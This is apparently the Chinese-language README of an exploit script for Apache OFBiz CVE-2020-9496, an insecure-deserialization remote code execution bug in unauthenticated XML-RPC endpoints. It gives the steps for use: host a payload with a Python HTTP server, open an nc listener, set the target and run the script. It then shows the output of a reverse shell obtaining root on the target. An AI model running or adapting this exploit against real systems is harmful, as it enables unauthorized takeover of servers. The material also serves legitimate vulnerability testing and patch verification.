
Apache OFBiz CVE-2020-9496 不安全反序列化漏洞的利用脚本,通过精心构造的 XML-RPC 请求实现远程代码执行,并附带反弹 Shell 有效载荷投递。
由于 webtools 中的两个与 xmlrpc 相关的请求(xmlrpc 和 ping)未使用身份验证,因此它们容易受到不安全的反序列化攻击。
该问题由 GitHub Security Lab 团队的 Alvaro Munoz [email protected] 报告给安全团队。
原始博客:https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
Apache 的帖子:https://issues.apache.org/jira/browse/OFBIZ-11716
GitHub 的 POC:https://github.com/g33xter/CVE-2020-9496
为了使此漏洞利用生效,您需要执行以下步骤:
> sudo python3 -m http.server 80
> nc -nlvp 8001
url='https://127.0.0.1' # 修改此处
port=8443 # 修改此处
> ./cve-2020-9496.sh -i IP -p PORT
❯ nc -nlvp 8001
listening on [any] 8001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.10.x.x] 57500
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
root@poc:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
root@poc:/usr/src/apache-ofbiz-17.12.01#